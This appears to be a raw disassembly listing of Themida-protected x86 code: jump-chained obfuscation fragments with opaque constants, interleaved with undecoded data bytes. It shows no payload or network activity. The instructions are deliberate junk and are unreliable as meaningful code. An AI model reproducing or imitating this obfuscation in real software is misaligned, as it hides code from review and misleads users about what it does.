		dd 5104C483h, 895780B9h, 59CA313Eh, 331BE9h, 0D026800h
		dd 0D15D1C32h, 0ED8145EDh, 0E190584h, 63E9E989h, 0BBFFFF78h
		dd 4, 335BD801h, 4312404h, 87FEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A39A:				; CODE XREF: Themida_:0057096Aj
		add	esp, 4
		inc	edi
		shr	edi, 4
		or	edi, 12246F6Bh
		add	edi, 487EE13Bh
		jmp	loc_55D132
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 1933FB8h,	10EA688Fh, 4890000h, 5585424h
		dd 4, 0E904E883h, 0FFFF2ADCh, 8704C683h, 0E95C2434h, 0FFFFD033h
		dd 8951C1BAh, 2454291Ch, 189BE90Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A3EE:				; CODE XREF: Themida_:0056DAB3j
		mov	[esp], esi
		pop	ebx
		pop	esi
		jmp	loc_55DA4B
; ---------------------------------------------------------------------------
		dd 2D6168h, 240C8900h, 240C8B5Dh, 4C481h, 0EE010000h, 2410E9h
		dd 243C8900h, 0FFC76AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A419:				; CODE XREF: Themida_:005625EAj
		sub	edi, 4
		jmp	loc_5627DB
; ---------------------------------------------------------------------------


loc_56A421:				; CODE XREF: Themida_:0055C86Aj
		push	esp
		pop	edx
		jmp	loc_56E582
; ---------------------------------------------------------------------------
		dd 36ED815Bh, 90416BEh,	8AEAE9EEh, 5B9FFFFh, 81521F6Ch
		dd 0AC18EF1h, 59CE31B3h, 348BF009h, 4C48324h, 2A1A505h
		dd 0EAEE81ACh, 8127667Fh, 23507AEEh, 81C6013Ah,	23507AC6h
		dd 77E9503Ah
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A46B:				; CODE XREF: Themida_:005713FBj
		xor	ebx, [esp]
		jmp	loc_56AE01
; ---------------------------------------------------------------------------
		db 31h
		dd 1C33241Ch, 0B9A4E924h, 4B5DFFFFh, 1309B850h,	0A86879ACh
		dd 0E9000032h, 49ACh, 0E9241C8Bh, 2DD6h, 4BFh, 5FFA0100h
		dd 1A4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A4A5:				; CODE XREF: Themida_:0055F09Dj
		pop	esp
		jmp	loc_55E58E
; ---------------------------------------------------------------------------
		db 1
		dd 92EF81C7h, 0E9158C2Dh, 0FFFFF8B0h, 0B9240C89h, 59386EA1h
		dd 1965E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A4C5:				; CODE XREF: Themida_:00563BB3j
		sub	esi, ecx
		jmp	loc_56DFF1
; ---------------------------------------------------------------------------


loc_56A4CC:				; CODE XREF: Themida_:0055D246j
		pop	esp
		mov	[esp], edx
		push	eax
		push	edx
		mov	edx, edi
		mov	eax, edx
		pop	edx
		mov	edx, eax
		pop	eax
		mov	esi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		push	esp
		jmp	loc_56EEAA
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C4h
		dd 0E3BD5504h, 29290D39h, 0B8505DEBh, 297A2D99h, 12E9C301h
		dd 8000005Ch, 0D3F610F3h, 2C03F380h, 0E9D828E9h, 189Dh
; ---------------------------------------------------------------------------


loc_56A514:				; CODE XREF: Themida_:005703C8j
		pop	eax
		sub	ecx, ebx
		pop	ebx
		add	ecx, 249846FBh
		push	dword ptr [ecx]
		sub	dword ptr [esp], 46B7601Ch
		pop	eax
		push	esi
		jmp	loc_55CEA6
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 633F2628h, 8106E6C1h, 7F89BCF6h, 0ECC381DFh,	294A2048h
		dd 101DE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A54A:				; CODE XREF: Themida_:0055CA73j
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_56C8AE
; ---------------------------------------------------------------------------
		dw 31BFh
		dd 296B1417h, 0DD46E9FBh, 15DFFFFh, 5B04245Ch, 0F6E95058h
		dd 81FFFF91h, 0CF3952EDh, 0E9EE0112h, 0FFFFB9C0h, 15BDA29h
		dd 0FF555AD5h, 5D042474h, 0E924048Fh, 0FFFFA194h, 0FF1E89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A599:				; CODE XREF: Themida_:00570608j
		inc	edx
		or	edx, 604414D9h
		dec	edx
		jmp	loc_56E9AD
; ---------------------------------------------------------------------------


loc_56A5A6:				; CODE XREF: Themida_:0055FF0Cj
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		sub	bp, 12E8h
		jmp	loc_56D552
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 42474FFh, 24048F5Fh,	6624248Bh, 68240C8Bh, 52D1h, 89243C89h
		dd 0FC6850E7h, 5803356Bh, 0CA940805h, 92C781FCh, 0E9158C2Dh
		dd 0FFFFFEC3h
; ---------------------------------------------------------------------------


loc_56A5E8:				; CODE XREF: Themida_:00564046j
		pop	edx
		add	esi, 61710C8Fh
		dec	esi
		xor	esi, 87B85B5Dh
		jmp	loc_561C48
; ---------------------------------------------------------------------------
		db 0FFh
		dd 2D58240Ch, 139D182Eh, 2E45E952h, 0E1890000h,	3091E9h
		dd 4DC58100h, 0E965DD47h, 0FFFF39CEh
; ---------------------------------------------------------------------------


loc_56A61C:				; CODE XREF: Themida_:0056AE10j
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	736Ch
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_56E192
; ---------------------------------------------------------------------------
		dw 0E3C0h
		dd 46EB8002h, 535BD828h, 1748E952h, 0CE810000h,	6D386E45h
		dd 36A6B850h, 1AE90F5Fh, 8100001Dh, 7B0407CAh, 80C28131h
		dd 89297437h, 0CB295AD1h, 81240C8Bh, 4C4h, 0EFEB8100h
		dd 813B9E31h, 0C41D8EC3h, 0E9CB010Dh, 0FFFFB22Ah
; ---------------------------------------------------------------------------


loc_56A690:				; CODE XREF: Themida_:0055CB46j
		pop	esp
		push	edx
		jmp	loc_560AF1
; ---------------------------------------------------------------------------
		db 89h
		dd 0C3B82404h, 0E9415376h, 0FFFF5CBEh
; ---------------------------------------------------------------------------


loc_56A6A4:				; CODE XREF: Themida_:0055DD44j
		mov	edx, 512C1CFEh
		add	esi, edx
		pop	edx
		sub	esi, 0D61610E9h
		push	esi
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		push	eax
		push	ebp
		push	6AFC6AE6h
		pop	ebp
		xor	ebp, 6AFC6AE2h
		mov	eax, ebp
		jmp	loc_560E03
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 3358C729h, 3C31243Ch, 3476E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A6E2:				; CODE XREF: Themida_:00570F97j
		mov	[esp], ebp
		jmp	loc_5676AA
; ---------------------------------------------------------------------------
		dw 5758h
		dd 36A3BD55h, 0F58145FEh, 468B77D4h, 0E581D5F7h, 39DF1D73h
		dd 0FFF48BE9h, 4EC81FFh, 89000000h, 5D54242Ch, 52EEBF57h
		dd 0E7C17308h, 0BCF78102h, 1CC214Bh, 0C5835FFDh, 0B491E904h
		dd 815BFFFFh, 327C84C5h, 81C50172h, 327C84EDh, 2C335872h
		dd 242C3124h, 0E9242C33h, 0FFFFCA14h, 4C781h, 0B7E90000h
		dd 53FFFFA7h, 0E15DA0BBh, 3E3C12Ah, 0B56FEB81h,	3E9D88Eh
		dd 83FFFF89h, 0C58104C4h, 0DDD8E44Fh, 0DE9EF89h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A777:				; CODE XREF: Themida_:0056CD16j
		add	esp, 4
		pop	edx
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bl, 86h
		add	al, 6Fh
		jmp	loc_55DD08
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4ED8124h, 55000000h,	42474FFh, 0FF2EC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A7A1:				; CODE XREF: Themida_:0056C3B9j
		mov	ebp, 78B0541Eh
		and	ecx, ebp
		pop	ebp
		neg	ecx
		xor	ecx, 9DA8D60Dh
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 280B44D4h
		sub	eax, 1
		not	eax
		or	eax, 575262C4h
		shr	eax, 7
		jmp	loc_55DF14
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 88CBB753h, 4122E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A7EA:				; CODE XREF: Themida_:005691F6j
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 40B536AAh
		and	eax, 0EC91BD7h
		sub	eax, 81127Eh
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	4F17h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55D09E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0FF4F8CE9h, 4C483FFh,	78EBB951h, 0C181114Bh
		dd 5AD24CAAh, 0F704E9C1h, 90C981D9h, 8139352Bh,	0A549EDC1h
		dd 59CB0109h, 3801EB81h, 0BF576543h, 3F200D2h, 45CBEF81h
		dd 0E7C12EE9h, 0E1EF8102h, 0E945919Ah, 0FFFF6AFBh, 7288BA52h
		dd 6DE95E88h
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A877:				; CODE XREF: Themida_:00564FBEj
		inc	edi
		jmp	loc_566C80
; ---------------------------------------------------------------------------


loc_56A87D:				; CODE XREF: Themida_:0056696Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	1526B08h
		mov	esi, [esp]
		add	esp, 4
		neg	esi
		inc	esi
		jmp	loc_56D352
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0DBh
		dd 1FFFF28h, 72E95EF2h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A8A7:				; CODE XREF: Themida_:0056893Fj
		pop	ecx
		pop	edx
		add	ebx, 50A35646h
		push	ecx
		mov	ecx, 7257022h
		xor	ecx, 7424398h
		add	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 612916E9h
		inc	edi
		shr	edi, 1
		jmp	loc_570FA8
; ---------------------------------------------------------------------------
		dd 6487F281h, 0CA8145A3h, 6ABC2FF7h, 0E905EAC1h, 0FFFFC90Eh
		dd 0C781E789h, 4, 4C781h, 0C2E90000h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A8F3:				; CODE XREF: Themida_:0055DBFAj
		inc	esi
		or	esi, 504B26C6h
		push	ebx
		jmp	loc_564AEA
; ---------------------------------------------------------------------------


loc_56A900:				; CODE XREF: Themida_:005639BCj
		add	eax, 16321F68h
		add	eax, esi
		sub	eax, 16321F68h
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_563641
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0E2h
		dd 94B8465h, 0BA525EF0h, 32B3AB27h, 295AD001h, 24048BC7h
		dd 5304C483h, 0E60945BBh, 5BD80168h, 452DF801h,	8B68E609h
		dd 0C481243Ch, 4, 0FF4F34E9h, 2434FFFFh, 4C4815Ah, 53000000h
		dd 4BBh, 8BDA0100h, 0C483241Ch,	53BD5504h, 817EC640h, 4ECh
		dd 0E41FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A97A:				; CODE XREF: Themida_:005699EDj
		sub	edx, 80839729h
		sub	ebp, edx
		pop	edx
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	2EB7h
		jmp	loc_56491C
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0B1BE5624h, 0F764A874h, 81DEF7DEh, 0B40DC8E6h, 4EC8311h
		dd 0B9240C89h, 4D58255Ch, 0FFE1F0E9h, 4BF57FFh,	1000000h
		dd 5F04247Ch, 0FF76E7E9h, 0E5C15EFFh, 80C58105h, 55EEEFF7h
		dd 0A3243481h, 5F164275h, 5A24BD55h, 0ED81675Eh, 485B79CDh
		dd 1C581h, 0C5810000h, 20605A8Dh, 3ABEC581h, 0BE9D6DFh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A9FF:				; CODE XREF: Themida_:005703A5j
		push	ecx
		mov	ecx, 171919CEh
		dec	ecx
		xor	ecx, 171919C9h
		sub	eax, 2A197276h
		add	eax, ecx
		jmp	loc_56A13D
; ---------------------------------------------------------------------------
		dd 2434335Bh, 33243431h, 31E92434h, 89FFFF7Eh, 4C381E3h
		dd 50000000h, 0FFD9C3E9h, 566E68FFh, 0EEE90000h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AA3F:				; CODE XREF: Themida_:0056D687j
		push	edx
		push	esp
		pop	edx
		jmp	loc_56ACD0
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E68006E6h, 42E9508Fh, 5FFFFF43h, 5003EEC1h,	4A4299B8h
		dd 0E9C6311Ch, 3F7Ch
; ---------------------------------------------------------------------------


loc_56AA64:				; CODE XREF: Themida_:00564AE5j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 0E9h
		dd 0FFFFB742h, 53ACC361h, 0CFFEA9B7h, 0E933F780h, 0EDBh
; ---------------------------------------------------------------------------


loc_56AA98:				; CODE XREF: Themida_:0056D8D4j
		push	ecx
		mov	ecx, 14D9B51Dh
		sub	esi, ecx
		mov	ecx, [esp]
		jmp	loc_55E42F
; ---------------------------------------------------------------------------


loc_56AAA8:				; CODE XREF: Themida_:005690DDj
		add	ebx, ecx
		jmp	loc_5600EF
; ---------------------------------------------------------------------------
		db 83h
		dd 0CA2904C4h, 7D2DBE56h, 0F2295C54h, 240C8B5Eh, 0E9E68956h
		dd 0FFFF4A30h
; ---------------------------------------------------------------------------


loc_56AAC8:				; CODE XREF: Themida_:0055C88Cj
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp


loc_56AAD3:				; CODE XREF: Themida_:0056F715j
		push	5F0h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_56AE72
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 1A8AC454h, 1C8BD801h, 4C48124h, 50000000h, 42474FFh
		dd 24048F58h, 241C335Ch, 0FFF96AE9h, 0E9595DFFh, 0FFFF92EFh
		dd 81D6F74Eh, 4ECh, 24348900h, 0FF4599E9h, 0F7F587FFh
		dd 5D5655D6h, 0FFFE9CE9h, 241CF7FFh, 18ECE99Ch,	348BFFFFh
		dd 4C48124h, 8B000000h,	0E9512414h, 2F3Ah, 8704C083h, 0E95C2404h
		dd 0FFFF22E4h, 50F0ED81h, 0E5811307h, 62233E65h, 7EFCE945h
		dd 405FFFFh, 52000000h,	4BAh, 5AD02900h, 8B240487h, 2C892424h
		dd 2EE95424h, 81FFFF2Dh, 9A796CEBh, 0E9C3015Bh,	0FFFF6891h
		dd 0C8885053h, 0E958C388h, 3837h, 4B8h,	50EA8100h, 29465602h
		dd 50C281C2h, 0E9465602h, 0FFFFF20Eh, 11685758h, 8B12681Bh
		dd 0C483243Ch, 0FBB85004h, 0C14B565Fh, 0E0C103E8h, 4EBF5706h
		dd 0C1636640h, 0DFF708EFh, 0F204F781h, 0F801C39Dh, 0FD33E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ABE6:				; CODE XREF: Themida_:00570E56j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55CC5D
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 8304C483h, 0E38104C4h, 34304F4Fh, 0FF4297E9h, 4E981FFh
		dd 0E9000000h, 0FFFF88EEh, 4B9h, 0FAED8100h, 1366339h
		dd 0FABF57CDh, 1366339h, 15EFE9FDh, 0CB010000h,	0FF7AF4E9h
		dd 0ED815CFFh, 13961E27h, 0C581D501h, 13961E27h, 5024148Bh
		dd 4055854h, 83000000h,	48704C0h, 2C875C24h, 24248B24h
		dd 0FF6D9FE9h, 4C483FFh, 0BF2CD800h, 767168h, 241C8900h
		dd 0CBE944B3h, 55FFFFC4h, 30CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56AC85:				; CODE XREF: Themida_:0056F0A9j
		add	ecx, 8DD6B9Ch
		mov	ebp, ecx
		pop	ecx
		push	ebx
		jmp	loc_56ACAB
; ---------------------------------------------------------------------------


loc_56AC94:				; CODE XREF: Themida_:0055E120j
		add	esi, 74017571h
		sub	esi, 41E41887h
		add	esi, 375A76DFh
		jmp	loc_56F65C
; ---------------------------------------------------------------------------


loc_56ACAB:				; CODE XREF: Themida_:0056AC8Fj
		mov	ebx, 21BB0073h
		sub	ebp, ebx
		jmp	loc_56C8FC
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240411h, 0FFDFF6E9h, 2BEA81FFh,	0E914FF3Ah
		dd 3534h
; ---------------------------------------------------------------------------


loc_56ACD0:				; CODE XREF: Themida_:0056AA42j
		push	eax
		jmp	loc_567397
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 5A680000h, 8900006Dh, 0AEE92404h, 8BFFFF5Ah
		dd 8952242Ch, 4C281E2h,	81000000h, 4C2h, 24148700h, 0FF1B54E9h
		dd 241C33FFh, 4C4815Ch,	68000000h, 39Eh, 89243C89h, 4C781E7h
		dd 68000000h, 62B6h, 52242C89h,	681B0ABAh, 7E2C171h, 0F76CC281h
		dd 0D5895D7Ah, 82F5815Ah, 0F75FCB7Fh, 0C22E9D5h, 68570000h
		dd 294F1300h, 91EF815Fh, 0F74A9D47h, 14C781D7h,	890F51D1h
		dd 4FE95FFBh
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56AD63:				; CODE XREF: Themida_:0056F03Bj
		mov	ebp, 68BA67E6h
		or	ebx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 10A76C26h
		or	ebp, 14920CE6h
		jmp	loc_566460
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 0B87E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AD8A:				; CODE XREF: Themida_:0056DB57j
		pop	ecx
		xor	esi, 5FBC0D34h
		sub	eax, esi
		jmp	loc_55FF32
; ---------------------------------------------------------------------------
		dd 17EBC281h, 0D7290D2Bh, 0FFFE015Ah, 0E95F2434h, 5F7Ch
		dd 4B9h, 0C0EE8100h, 8121D15Ah,	0AE5DA2C6h, 81CE015Fh
		dd 0AE5DA2EEh, 0C0C6815Fh, 5921D15Ah, 0E902C683h, 64F6h
; ---------------------------------------------------------------------------


loc_56ADD4:				; CODE XREF: Themida_:0056D011j
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		sub	al, ch
		jmp	loc_56FFDA
; ---------------------------------------------------------------------------
		dw 5066h
		dd 0C208B2B0h, 0E9515866h, 0FFFF5CA0h, 73E8E958h, 0E828FFFFh
		dd 41EA8059h, 0FFE197E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AE01:				; CODE XREF: Themida_:0056A46Ej
		mov	esp, [esp]
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		sub	esp, 4
		jmp	loc_56A61C
; ---------------------------------------------------------------------------
		db 91h,	81h, 0E9h
		dd 1, 6ABF5791h, 2933106Eh, 0C4255FF8h,	83762720h, 1C8904ECh
		dd 0F9E95024h, 0F7FFFF4Ah, 4376E9D3h, 89660000h, 65E92404h
		dd 66FFFF60h, 0E9588E05h, 0FFFF5909h, 4BF57h, 7C010000h
		dd 8B5F0424h, 5455241Ch, 4C5815Dh, 81000000h, 4C5h, 83E2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AE72:				; CODE XREF: Themida_:0056AAE1j
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_563F12
; ---------------------------------------------------------------------------
		db 81h
		dd 0DC2E8FC3h, 240C8B07h, 4C481h, 1C330000h, 241C3124h
		dd 8B241C33h, 0C8E92424h, 81FFFF7Fh, 733BD0C1h,	0E9015A3Bh
		dd 4060C181h, 34FF371Ch, 0B0C6E924h, 0F381FFFFh, 5CD359D6h
		dd 1A84E9h, 20500h, 4870000h, 88645C24h, 1554E902h, 0EE83FFFFh
		dd 24348704h, 866CE95Ch, 0CBAFFFFh, 42142405h, 0C281D2F7h
		dd 0E7F03331h, 7AF9C781h, 7CE94FAEh, 8300001Fh,	0C8704C1h
		dd 26685C24h, 89000076h, 0E0892404h, 405h, 36AE900h, 0FE90000h
		dd 8FFFFF15h, 1508E902h, 0E781FFFFh, 492268B5h,	8108EFC1h
		dd 0AF765BC7h, 62EF8136h, 81BB958Dh, 4ECh, 24348900h, 89FB8953h
		dd 0F0895BDEh, 5E2434FFh, 4C481h, 0E95F0000h, 0FFFFEC0Fh
; ---------------------------------------------------------------------------


loc_56AF50:				; CODE XREF: Themida_:00561EFEj
		xchg	eax, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	ebx
		jmp	loc_562C16
; ---------------------------------------------------------------------------
		db 0B8h, 2 dup(0)
		dd 0F8290000h, 0C158C789h, 575302E7h, 9F607DBFh, 0E7814F0Ch
		dd 163C1A31h, 0F781E7D1h, 3CA10422h, 435FFB89h,	9EC38143h
		dd 0F7148D4Fh, 0E9DBF7D3h, 0FFFF54B1h
; ---------------------------------------------------------------------------


loc_56AF94:				; CODE XREF: Themida_:005691DCj
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_56FCCA
; ---------------------------------------------------------------------------
		db 81h
		dd 6C1BB3C7h, 5FF8319Dh, 8158C301h, 132038E9h, 5934E955h
		dd 0E189FFFFh, 3E6068h,	24048900h, 3D61E9h, 0C2805800h
		dd 0FFC2802Fh, 0D3E9D2F6h, 2DFFFF3Ch, 28067906h, 3D33E9h
		dd 5B545300h, 663968h, 242C8900h, 4BDh,	5DEB0100h, 4C381h
		dd 1C870000h, 72685C24h, 89000037h, 0BBE92404h,	81FFFFB3h
		dd 0A50D3BEBh, 1C87592Ch, 0F778E924h, 6850FFFFh, 411177F4h
		dd 0FF413BE9h, 168FFh, 348B0000h, 4C48124h, 81000000h
		dd 0F47AECC1h, 0EFC7E923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B03A:				; CODE XREF: Themida_:005685CFj
		mov	edx, 2E4101AEh
		mov	ebp, edx
		jmp	loc_569463
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89502404h, 405E0h, 0BB530000h, 70FE6CC3h, 0FFF355E9h
		dd 240C8BFFh, 11696855h, 14890000h, 0E1895124h,	4C181h
		dd 0E9810000h, 4, 5C240C87h, 24048F54h,	4240483h, 0A568515Ah
		dd 5957C958h, 4A7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56B091:				; CODE XREF: Themida_:00566C60j
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_563710
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 24248B24h, 5C24048Fh, 0FFE415E9h,	48F59FFh
		dd 0BB85E924h, 0E983FFFFh, 240C8704h, 0FF9C02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B0C1:				; CODE XREF: Themida_:0056DF30j
		mov	[edi+20h], ecx
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_5611DB
; ---------------------------------------------------------------------------


loc_56B0D2:				; CODE XREF: Themida_:005600E1j
		mov	edx, 126F36EBh
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5700EE
; ---------------------------------------------------------------------------
		db 80h
		dd 0EA80ACE2h, 1EF28004h, 535AD300h, 66242C86h,	0F6EE8852h
		dd 66F588D6h, 863AE95Ah, 0C801FFFFh, 0FF6EE3E9h, 4EFC1FFh
		dd 0E90E781h, 0C7813157h, 474453A1h, 0E95FF889h, 0FFFF39DBh
		dd 4403BF57h, 0FD0151CDh, 243C8B5Fh, 0FF912EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B135:				; CODE XREF: Themida_:00570D3Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	eax, cl
		jmp	loc_56457B
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 2C1835Eh, 5C240C87h,	1C8BD830h, 5B545324h, 4C381h, 0B9510000h
		dd 3EB65CA5h, 73E9D9F7h, 87FFFF30h, 2C36E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B16E:				; CODE XREF: Themida_:0056D303j
		push	dword ptr [esp]
		pop	ecx
		push	4491h
		mov	[esp], ebx
		jmp	loc_570EAB
; ---------------------------------------------------------------------------
		db 89h
		dd 840EE9E6h, 0BE56FFFFh, 505C1795h, 4FE1CE81h,	0E6815705h
		dd 322D288Ah, 87CEE81h,	0E6E9120Dh
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B1A3:				; CODE XREF: Themida_:0055DD03j
		neg	esi
		add	esi, 4EC8A1BFh
		add	ebx, esi
		pop	esi
		or	ebx, 60C16A13h
		add	ebx, 1
		sub	ebx, 1
		push	eax
		push	61162D70h
		pop	eax
		jmp	loc_561F41
; ---------------------------------------------------------------------------
		db 66h,	31h, 0C7h
		dd 0FF2E8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B1D1:				; CODE XREF: Themida_:0056ED9Dj
		push	edx
		mov	edx, 4EE05FD0h
		xor	edx, 1BE976C4h
		xor	edx, 0C350C3Ch
		dec	edx
		jmp	loc_56F867
; ---------------------------------------------------------------------------
		db 0BBh, 0A9h, 46h
		dd 0C381779Ah, 903DDA02h, 5970BA52h, 0CA8101C5h, 23BE09B9h
		dd 4A42D2F7h, 0ED95F281h, 0D729A6E4h, 0FF541FE9h, 0BA525CFFh
		dd 67F7A08h, 9AE281h, 0D2F74A6Fh, 0FF7877E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B225:				; CODE XREF: Themida_:005613EEj
		xor	ecx, 29B51E15h
		mov	esi, ecx
		pop	ecx
		xor	esi, 925CA6CFh
		add	edi, 2C560DD8h
		sub	edi, esi
		jmp	loc_562007
; ---------------------------------------------------------------------------
		db 1, 0F8h, 5
		dd 458778B5h, 5F2434FFh, 5C3BE9h, 0E9515500h, 0FFFFBA19h
		dd 70E3BA52h, 0EAD101A1h, 0FFDC48E9h, 244C01FFh, 43E95904h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B26F:				; CODE XREF: Themida_:0055D55Dj
		pop	ebp
		add	ecx, edx
		pop	edx
		jmp	loc_5700B1
; ---------------------------------------------------------------------------
		dd 8704E883h, 895C2404h, 0B850241Ch, 2CE915FCh,	4204BE56h
		dd 0D6F70D30h, 0FF152FE9h, 7E11BDFFh, 3FBE1581h, 292DE3C9h
		dd 0EE815DEEh, 0F7D2945h, 0FF377CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B2AD:				; CODE XREF: Themida_:00569DA6j
		shr	ebp, 8
		jmp	loc_562942
; ---------------------------------------------------------------------------


loc_56B2B5:				; CODE XREF: Themida_:00571114j
		add	[esp+4], esi
		pop	esi
		pop	edi
		jmp	loc_563A66
; ---------------------------------------------------------------------------


loc_56B2C0:				; CODE XREF: Themida_:0055DE32j
		mov	edx, ecx
		mov	ecx, [esp]
		jmp	loc_570A86
; ---------------------------------------------------------------------------


loc_56B2CA:				; CODE XREF: Themida_:005671E9j
		mov	ebx, 0C57D2Fh
		push	edx
		jmp	loc_55DECC
; ---------------------------------------------------------------------------
		db 0BFh, 18h, 49h
		dd 0CEE93BB2h, 8BFFFF44h, 1C332424h, 241C3124h,	8B241C33h
		dd 4202424h, 2BE99C24h
		db 11h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B2F7:				; CODE XREF: Themida_:00566AF6j
		push	ax
		mov	ah, 0A9h
		add	bl, ah
		mov	ax, [esp]
		jmp	loc_56599D
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFC6F4E9h, 91C68FFh, 0E95E5FDBh,	0FFFF3A46h, 2758E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B322:				; CODE XREF: Themida_:0056051Cj
		mov	ecx, esp
		jmp	loc_55D827
; ---------------------------------------------------------------------------
		db 35h,	0F8h, 40h
		dd 0B9516367h, 60223601h, 0BE9C829h, 52FFFF56h,	263E47BAh
		dd 98EF8135h, 0E919A805h, 0FFFF1F22h, 2EC6EF81h, 0AFE95D4Fh
		dd 86FFFF2Ah, 86D5F6EEh, 4E6C0EEh, 0FFCE30E9h, 2B0668FFh
		dd 0A7E90000h, 0B9FFFF6Ah, 4, 4244C01h,	0E9525F59h, 0FFFF5381h
; ---------------------------------------------------------------------------


loc_56B380:				; CODE XREF: Themida_:0056E038j
		mov	[esp], ecx
		jmp	loc_55E07B
; ---------------------------------------------------------------------------


loc_56B388:				; CODE XREF: Themida_:0056961Cj
		push	cx
		mov	ch, 0F3h
		sub	dl, ch
		pop	cx
		sub	al, dl
		pop	edx
		mov	edx, [esp]
		add	esp, 4
